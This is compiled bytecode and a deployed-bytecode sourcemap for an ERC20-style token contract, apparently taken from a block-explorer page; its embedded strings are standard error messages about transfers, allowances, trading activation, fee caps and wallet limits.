000602082015250565b600061367a602d83612eff565b91506136858261361e565b604082019050919050565b600060208201905081810360008301526136a98161366d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061370c602583612eff565b9150613717826136b0565b604082019050919050565b6000602082019050818103600083015261373b816136ff565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b600061379e602483612eff565b91506137a982613742565b604082019050919050565b600060208201905081810360008301526137cd81613791565b9050919050565b7f6b656570696e672062757920666565206173203325206f72206c657373000000600082015250565b600061380a601d83612eff565b9150613815826137d4565b602082019050919050565b60006020820190508181036000830152613839816137fd565b9050919050565b7f4f776e61626c653a206e6577206f776e6572206973207468652064656164206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061389c602683612eff565b91506138a782613840565b604082019050919050565b600060208201905081810360008301526138cb8161388f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061392e602483612eff565b9150613939826138d2565b604082019050919050565b6000602082019050818103600083015261395d81613921565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139c0602283612eff565b91506139cb82613964565b604082019050919050565b600060208201905081810360008301526139ef816139b3565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a2c601d83612eff565b9150613a37826139f6565b602082019050919050565b60006020820190508181036000830152613a5b81613a1f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613abe602583612eff565b9150613ac982613a62565b604082019050919050565b60006020820190508181036000830152613aed81613ab1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b50602383612eff565b9150613b5b82613af4565b604082019050919050565b60006020820190508181036000830152613b7f81613b43565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613bbc601683612eff565b9150613bc782613b86565b602082019050919050565b60006020820190508181036000830152613beb81613baf565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613c4e603583612eff565b9150613c5982613bf2565b604082019050919050565b60006020820190508181036000830152613c7d81613c41565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613cba601383612eff565b9150613cc582613c84565b602082019050919050565b60006020820190508181036000830152613ce981613cad565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d4c603683612eff565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613dde602683612eff565b9150613de982613d82565b604082019050919050565b60006020820190508181036000830152613e0d81613dd1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613e8181612fe1565b92915050565b600060208284031215613e9d57613e9c612e8c565b5b6000613eab84828501613e72565b91505092915050565b7f68616c66206f6620636f6e746163742062616c616e636520666f72207377617060008201527f70696e6720666565730000000000000000000000000000000000000000000000602082015250565b6000613f10602983612eff565b9150613f1b82613eb4565b604082019050919050565b60006020820190508181036000830152613f3f81613f03565b9050919050565b6000819050919050565b6000613f6b613f66613f6184613f46565b6130b0565b612e91565b9050919050565b613f7b81613f50565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613fb681612fcf565b82525050565b6000613fc88383613fad565b60208301905092915050565b6000602082019050919050565b6000613fec82613f81565b613ff68185613f8c565b935061400183613f9d565b8060005b838110156140325781516140198882613fbc565b975061402483613fd4565b925050600181019050614005565b5085935050505092915050565b600060a082019050614054600083018861312a565b6140616020830187613f72565b81810360408301526140738186613fe1565b905061408260608301856131a7565b61408f608083018461312a565b969550505050505056fea26469706673582212200e29da6202eb591b4ed5869633a9b265729e0953cbaf9ea85e85304c673ee9b364736f6c634300080f0033

Deployed Bytecode Sourcemap

8151:8996:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11841:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1799:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2872:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8658:63;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8248:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2120:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11392:275;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3122:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8197:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10547:126;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8564:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2019:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3425:270;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8532:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8306:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8789:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12546:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8869:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2236:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7683:148;;;;;;;;;;;;;:::i;:::-;;11263:121;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10681:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7469:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1907:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12785:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3703:505;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2421:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8353:57;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8829:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11050:205;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12013:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8419:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10429:110;;;;;;;;;;;;;:::i;:::-;;12277:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12660:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11675:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2663:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8461:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8597:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7839:305;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8501:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11841:164;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11932:1:::1;11920:8;:13;;11912:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;11989:8;11979:7;:18;;;;11841:164:::0;:::o;1799:100::-;1853:13;1886:5;1879:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1799:100;:::o;2872:242::-;2991:4;3013:13;3029:12;:10;:12::i;:::-;3013:28;;3052:32;3061:5;3068:7;3077:6;3052:8;:32::i;:::-;3102:4;3095:11;;;2872:242;;;;:::o;8658:63::-;;;;;;;;;;;;;;;;;;;;;;:::o;8248:51::-;;;:::o;2120:108::-;2181:7;2208:12;;2201:19;;2120:108;:::o;11392:275::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11529:4:::1;11521;11516:1;11500:13;:11;:13::i;:::-;:17;;;;:::i;:::-;11499:26;;;;:::i;:::-;11498:35;;;;:::i;:::-;11488:6;:45;;11466:142;;;;;;;;;;;;:::i;:::-;;;;;;;;;11652:6;11642;:17;;;;:::i;:::-;11619:20;:40;;;;11392:275:::0;:::o;3122:295::-;3253:4;3270:15;3288:12;:10;:12::i;:::-;3270:30;;3311:38;3327:4;3333:7;3342:6;3311:15;:38::i;:::-;3360:27;3370:4;3376:2;3380:6;3360:9;:27::i;:::-;3405:4;3398:11;;;3122:295;;;;;:::o;8197:44::-;;;;;;;;;;;;;:::o;10547:126::-;10600:7;10643:22;10653:11;;;;;;;;;;;10643:9;:22::i;:::-;10627:13;:11;:13::i;:::-;:38;;;;:::i;:::-;10620:45;;10547:126;:::o;8564:26::-;;;;:::o;2019:93::-;2077:5;2102:2;2095:9;;2019:93;:::o;3425:270::-;3540:4;3562:13;3578:12;:10;:12::i;:::-;3562:28;;3601:64;3610:5;3617:7;3654:10;3626:25;3636:5;3643:7;3626:9;:25::i;:::-;:38;;;;:::i;:::-;3601:8;:64::i;:::-;3683:4;3676:11;;;3425:270;;;;:::o;8532:25::-;;;;:::o;8306:38::-;;;:::o;8789:33::-;;;;;;;;;;;;;:::o;12546:106::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12637:7:::1;12623:11;;:21;;;;;;;;;;;;;;;;;;12546:106:::0;:::o;8869:31::-;;;;;;;;;;;;;:::o;2236:177::-;2355:7;2387:9;:18;2397:7;2387:18;;;;;;;;;;;;;;;;2380:25;;2236:177;;;:::o;7683:148::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7790:1:::1;7753:40;;7774:6;;;;;;;;;;;7753:40;;;;;;;;;;;;7821:1;7804:6;;:19;;;;;;;;;;;;;;;;;;7683:148::o:0;11263:121::-;11315:4;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11349:5:::1;11332:14;;:22;;;;;;;;;;;;;;;;;;11372:4;11365:11;;11263:121:::0;:::o;10681:165::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10834:4:::1;10793:31;:38;10825:5;10793:38;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;10681:165:::0;;:::o;7469:79::-;7507:7;7534:6;;;;;;;;;;;7527:13;;7469:79;:::o;1907:104::-;1963:13;1996:7;1989:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1907:104;:::o;12785:292::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12929:13:::1;12921:21;;:4;:21;;::::0;12899:116:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;13028:41;13057:4;13063:5;13028:28;:41::i;:::-;12785:292:::0;;:::o;3703:505::-;3823:4;3845:13;3861:12;:10;:12::i;:::-;3845:28;;3884:24;3911:25;3921:5;3928:7;3911:9;:25::i;:::-;3884:52;;3989:15;3969:16;:35;;3947:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;4105:60;4114:5;4121:7;4149:15;4130:16;:34;4105:8;:60::i;:::-;4196:4;4189:11;;;;3703:505;;;;:::o;2421:234::-;2536:4;2558:13;2574:12;:10;:12::i;:::-;2558:28;;2597;2607:5;2614:2;2618:6;2597:9;:28::i;:::-;2643:4;2636:11;;;2421:234;;;;:::o;8353:57::-;;;;;;;;;;;;;;;;;;;;;;:::o;8829:33::-;;;;;;;;;;;;;:::o;11050:205::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11189:8:::1;11158:19;:28;11178:7;11158:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;11229:7;11213:34;;;11238:8;11213:34;;;;;;:::i;:::-;;;;;;;;11050:205:::0;;:::o;12013:256::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12153:4:::1;12145;12140:1;12124:13;:11;:13::i;:::-;:17;;;;:::i;:::-;12123:26;;;;:::i;:::-;12122:35;;;;:::i;:::-;12112:6;:45;;12090:131;;;;;;;;;;;;:::i;:::-;;;;;;;;;12254:6;12244;:17;;;;:::i;:::-;12232:9;:29;;;;12013:256:::0;:::o;8419:35::-;;;;:::o;10429:110::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10498:4:::1;10482:13;;:20;;;;;;;;;;;;;;;;;;10527:4;10513:11;;:18;;;;;;;;;;;;;;;;;;10429:110::o:0;12277:261::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12391:33:::1;12407:10;12419:4;12391:15;:33::i;:::-;12435:43;12461:10;12473:4;12435:25;:43::i;:::-;12489:41;12498:10;12510;12522:7;12489:8;:41::i;:::-;12277:261:::0;;;:::o;12660:117::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12762:7:::1;12741:18;:28;;;;12660:117:::0;:::o;11675:158::-;7606:12;:10;:12::i;:::-;7596:22;;:6;;;;;;;;;;;:22;;;7588:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11763:1:::1;11752:7;:12;;11744:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;11818:7;11809:6;:16;;;;11675:158:::0;:::o;2663:201::-;2797:7;2829:11;:18;2841:5;2829:18;;;;;;;;;;;;;;;:27;2848:7;2829:27;;;;;;;;;;;;;;;;2822:34;;2663:201;;;;:::o;8461:33::-;;;;:::o;8597:24::-;;;;;;;;;;;;;:::o;7839:305::-;7952:6;7932:27;;:8;:27;;;;:56;;;;;7979:9;;;;;;;;;;;7963:25;;:12;:10;:12::i;:::-;:25;;;7932:56;7910:144;;;;;;;;;;;;:::i;:::-;;;;;;;;;8099:8;8070:38;;8091:6;;;;;;;;;;;8070:38;;;;;;;;;;;;8128:8;8119:6;;:17;;;;;;;;;;;;;;;;;;7839:305;:::o;8501:24::-;;;;:::o;1183:98::-;1236:7;1263:10;1256:17;;1183:98;:::o;5938:380::-;6091:1;6074:19;;:5;:19;;;6066:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6172:1;6153:21;;:7;:21;;;6145:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6256:6;6226:11;:18;6238:5;6226:18;;;;;;;;;;;;;;;:27;6245:7;6226:27;;;;;;;;;;;;;;;:36;;;;6294:7;6278:32;;6287:5;6278:32;;;6303:6;6278:32;;;;;;:::i;:::-;;;;;;;;5938:380;;;:::o;6326:502::-;6461:24;6488:25;6498:5;6505:7;6488:9;:25::i;:::-;6461:52;;6548:17;6528:16;:37;6524:297;;6628:6;6608:16;:26;;6582:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;6743:51;6752:5;6759:7;6787:6;6768:16;:25;6743:8;:51::i;:::-;6524:297;6450:378;6326:502;;;:::o;13085:3149::-;13233:1;13217:18;;:4;:18;;;13209:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13310:1;13296:16;;:2;:16;;;13288:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13379:1;13369:6;:11;13365:93;;13397:28;13413:4;13419:2;13423:1;13397:15;:28::i;:::-;13440:7;;13365:93;13474:14;;;;;;;;;;;13470:1636;;;13540:4;13529:15;;:7;:5;:7::i;:::-;:15;;;13527:18;:55;;;;;13579:2;13568:13;;:7;:5;:7::i;:::-;:13;;;13566:16;13527:55;:92;;;;;13617:1;13603:16;;:2;:16;;;;13527:92;:134;;;;;13654:6;13640:21;;:2;:21;;;;13527:134;:164;;;;;13683:8;;;;;;;;;;;13682:9;13527:164;13505:459;;;13731:13;;;;;;;;;;;13726:223;;13803:19;:25;13823:4;13803:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;13832:19;:23;13852:2;13832:23;;;;;;;;;;;;;;;;;;;;;;;;;13803:52;13769:160;;;;;;;;;;;;:::i;:::-;;;;;;;;;13726:223;13505:459;14049:25;:31;14075:4;14049:31;;;;;;;;;;;;;;;;;;;;;;;;;:88;;;;;14102:31;:35;14134:2;14102:35;;;;;;;;;;;;;;;;;;;;;;;;;14101:36;14049:88;14027:1068;;;14212:20;;14202:6;:30;;14172:157;;;;;;;;;;;;:::i;:::-;;;;;;;;;14404:9;;14387:13;14397:2;14387:9;:13::i;:::-;14378:6;:22;;;;:::i;:::-;:35;;14348:128;;;;;;;;;;;;:::i;:::-;;;;;;;;;14027:1068;;;14587:25;:29;14613:2;14587:29;;;;;;;;;;;;;;;;;;;;;;;;;:88;;;;;14638:31;:37;14670:4;14638:37;;;;;;;;;;;;;;;;;;;;;;;;;14637:38;14587:88;14565:530;;;14750:20;;14740:6;:30;;14710:158;;;;;;;;;;;;:::i;:::-;;;;;;;;;14565:530;;;14895:31;:35;14927:2;14895:35;;;;;;;;;;;;;;;;;;;;;;;;;14890:205;;15007:9;;14990:13;15000:2;14990:9;:13::i;:::-;14981:6;:22;;;;:::i;:::-;:35;;14951:128;;;;;;;;;;;;:::i;:::-;;;;;;;;;14890:205;14565:530;14027:1068;13470:1636;15118:28;15149:24;15167:4;15149:9;:24::i;:::-;15118:55;;15186:12;15225:18;;15201:20;:42;;15186:57;;15274:7;:35;;;;;15298:11;;;;;;;;;;;15274:35;:61;;;;;15327:8;;;;;;;;;;;15326:9;15274:61;:110;;;;;15353:25;:31;15379:4;15353:31;;;;;;;;;;;;;;;;;;;;;;;;;15352:32;15274:110;:153;;;;;15402:19;:25;15422:4;15402:25;;;;;;;;;;;;;;;;;;;;;;;;;15401:26;15274:153;:194;;;;;15445:19;:23;15465:2;15445:23;;;;;;;;;;;;;;;;;;;;;;;;;15444:24;15274:194;15256:322;;;15506:4;15495:8;;:15;;;;;;;;;;;;;;;;;;15525:10;:8;:10::i;:::-;15561:5;15550:8;;:16;;;;;;;;;;;;;;;;;;15256:322;15590:12;15606:8;;;;;;;;;;;15605:9;15590:24;;15631:19;:25;15651:4;15631:25;;;;;;;;;;;;;;;;;;;;;;;;;:52;;;;15660:19;:23;15680:2;15660:23;;;;;;;;;;;;;;;;;;;;;;;;;15631:52;15627:100;;;15710:5;15700:15;;15627:100;15739:12;15772:7;15768:415;;;15800:25;:29;15826:2;15800:29;;;;;;;;;;;;;;;;;;;;;;;;;:44;;;;;15843:1;15833:7;;:11;15800:44;15796:238;;;15893:3;15882:7;;15873:6;:16;;;;:::i;:::-;15872:24;;;;:::i;:::-;15865:31;;15796:238;;;15922:25;:31;15948:4;15922:31;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;;15966:1;15957:6;;:10;15922:45;15918:116;;;16015:3;16005:6;;15996;:15;;;;:::i;:::-;15995:23;;;;:::i;:::-;15988:30;;15918:116;15796:238;16061:1;16054:4;:8;16050:91;;;16083:42;16099:4;16113;16120;16083:15;:42::i;:::-;16050:91;16167:4;16157:14;;;;;:::i;:::-;;;15768:415;16193:33;16209:4;16215:2;16219:6;16193:15;:33::i;:::-;13198:3036;;;;13085:3149;;;;:::o;10854:188::-;10971:5;10937:25;:31;10963:4;10937:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;11028:5;10994:40;;11022:4;10994:40;;;;;;;;;;;;10854:188;;:::o;4216:708::-;4363:1;4347:18;;:4;:18;;;4339:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4440:1;4426:16;;:2;:16;;;4418:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4495:38;4516:4;4522:2;4526:6;4495:20;:38::i;:::-;4546:19;4568:9;:15;4578:4;4568:15;;;;;;;;;;;;;;;;4546:37;;4631:6;4616:11;:21;;4594:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;4771:6;4757:11;:20;4739:9;:15;4749:4;4739:15;;;;;;;;;;;;;;;:38;;;;4816:6;4799:9;:13;4809:2;4799:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;4855:2;4840:26;;4849:4;4840:26;;;4859:6;4840:26;;;;;;:::i;:::-;;;;;;;;4879:37;4899:4;4905:2;4909:6;4879:19;:37::i;:::-;4328:596;4216:708;;;:::o;16242:337::-;16281:23;16307:24;16325:4;16307:9;:24::i;:::-;16281:50;;16365:1;16346:15;:20;16342:59;;16383:7;;;16342:59;16456:1;16435:18;;:22;;;;:::i;:::-;16417:15;:40;16413:113;;;16513:1;16492:18;;:22;;;;:::i;:::-;16474:40;;16413:113;16538:33;16555:15;16538:16;:33::i;:::-;16270:309;16242:337;:::o;6836:125::-;;;;:::o;6969:124::-;;;;:::o;16587:557::-;16653:21;16691:1;16677:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16653:40;;16722:4;16704;16709:1;16704:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16748:15;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16738:4;16743:1;16738:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16781:62;16798:4;16813:15;16831:11;16781:8;:62::i;:::-;16886:2;16862:20;16872:9;;;;;;;;;;;16862;:20::i;:::-;:26;;16854:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;16944:15;:66;;;17025:11;17051:1;17067:4;17086:9;;;;;;;;;;;17110:15;16944:192;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16642:502;16587:557;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:307::-;1373:1;1383:113;1397:6;1394:1;1391:13;1383:113;;;1482:1;1477:3;1473:11;1467:18;1463:1;1458:3;1454:11;1447:39;1419:2;1416:1;1412:10;1407:15;;1383:113;;;1514:6;1511:1;1508:13;1505:101;;;1594:1;1585:6;1580:3;1576:16;1569:27;1505:101;1354:258;1305:307;;;:::o;1618:102::-;1659:6;1710:2;1706:7;1701:2;1694:5;1690:14;1686:28;1676:38;;1618:102;;;:::o;1726:364::-;1814:3;1842:39;1875:5;1842:39;:::i;:::-;1897:71;1961:6;1956:3;1897:71;:::i;:::-;1890:78;;1977:52;2022:6;2017:3;2010:4;2003:5;1999:16;1977:52;:::i;:::-;2054:29;2076:6;2054:29;:::i;:::-;2049:3;2045:39;2038:46;;1818:272;1726:364;;;;:::o;2096:313::-;2209:4;2247:2;2236:9;2232:18;2224:26;;2296:9;2290:4;2286:20;2282:1;2271:9;2267:17;2260:47;2324:78;2397:4;2388:6;2324:78;:::i;:::-;2316:86;;2096:313;;;;:::o;2415:126::-;2452:7;2492:42;2485:5;2481:54;2470:65;;2415:126;;;:::o;2547:96::-;2584:7;2613:24;2631:5;2613:24;:::i;:::-;2602:35;;2547:96;;;:::o;2649:122::-;2722:24;2740:5;2722:24;:::i;:::-;2715:5;2712:35;2702:63;;2761:1;2758;2751:12;2702:63;2649:122;:::o;2777:139::-;2823:5;2861:6;2848:20;2839:29;;2877:33;2904:5;2877:33;:::i;:::-;2777:139;;;;:::o;2922:474::-;2990:6;2998;3047:2;3035:9;3026:7;3022:23;3018:32;3015:119;;;3053:79;;:::i;:::-;3015:119;3173:1;3198:53;3243:7;3234:6;3223:9;3219:22;3198:53;:::i;:::-;3188:63;;3144:117;3300:2;3326:53;3371:7;3362:6;3351:9;3347:22;3326:53;:::i;:::-;3316:63;;3271:118;2922:474;;;;;:::o;3402:90::-;3436:7;3479:5;3472:13;3465:21;3454:32;;3402:90;;;:::o;3498:109::-;3579:21;3594:5;3579:21;:::i;:::-;3574:3;3567:34;3498:109;;:::o;3613:210::-;3700:4;3738:2;3727:9;3723:18;3715:26;;3751:65;3813:1;3802:9;3798:17;3789:6;3751:65;:::i;:::-;3613:210;;;;:::o;3829:329::-;3888:6;3937:2;3925:9;3916:7;3912:23;3908:32;3905:119;;;3943:79;;:::i;:::-;3905:119;4063:1;4088:53;4133:7;4124:6;4113:9;4109:22;4088:53;:::i;:::-;4078:63;;4034:117;3829:329;;;;:::o;4164:60::-;4192:3;4213:5;4206:12;;4164:60;;;:::o;4230:142::-;4280:9;4313:53;4331:34;4340:24;4358:5;4340:24;:::i;:::-;4331:34;:::i;:::-;4313:53;:::i;:::-;4300:66;;4230:142;;;:::o;4378:126::-;4428:9;4461:37;4492:5;4461:37;:::i;:::-;4448:50;;4378:126;;;:::o;4510:153::-;4587:9;4620:37;4651:5;4620:37;:::i;:::-;4607:50;;4510:153;;;:::o;4669:185::-;4783:64;4841:5;4783:64;:::i;:::-;4778:3;4771:77;4669:185;;:::o;4860:276::-;4980:4;5018:2;5007:9;5003:18;4995:26;;5031:98;5126:1;5115:9;5111:17;5102:6;5031:98;:::i;:::-;4860:276;;;;:::o;5142:118::-;5229:24;5247:5;5229:24;:::i;:::-;5224:3;5217:37;5142:118;;:::o;5266:222::-;5359:4;5397:2;5386:9;5382:18;5374:26;;5410:71;5478:1;5467:9;5463:17;5454:6;5410:71;:::i;:::-;5266:222;;;;:::o;5494:619::-;5571:6;5579;5587;5636:2;5624:9;5615:7;5611:23;5607:32;5604:119;;;5642:79;;:::i;:::-;5604:119;5762:1;5787:53;5832:7;5823:6;5812:9;5808:22;5787:53;:::i;:::-;5777:63;;5733:117;5889:2;5915:53;5960:7;5951:6;5940:9;5936:22;5915:53;:::i;:::-;5905:63;;5860:118;6017:2;6043:53;6088:7;6079:6;6068:9;6064:22;6043:53;:::i;:::-;6033:63;;5988:118;5494:619;;;;;:::o;6119:118::-;6206:24;6224:5;6206:24;:::i;:::-;6201:3;6194:37;6119:118;;:::o;6243:222::-;6336:4;6374:2;6363:9;6359:18;6351:26;;6387:71;6455:1;6444:9;6440:17;6431:6;6387:71;:::i;:::-;6243:222;;;;:::o;6471:86::-;6506:7;6546:4;6539:5;6535:16;6524:27;;6471:86;;;:::o;6563:112::-;6646:22;6662:5;6646:22;:::i;:::-;6641:3;6634:35;6563:112;;:::o;6681:214::-;6770:4;6808:2;6797:9;6793:18;6785:26;;6821:67;6885:1;6874:9;6870:17;6861:6;6821:6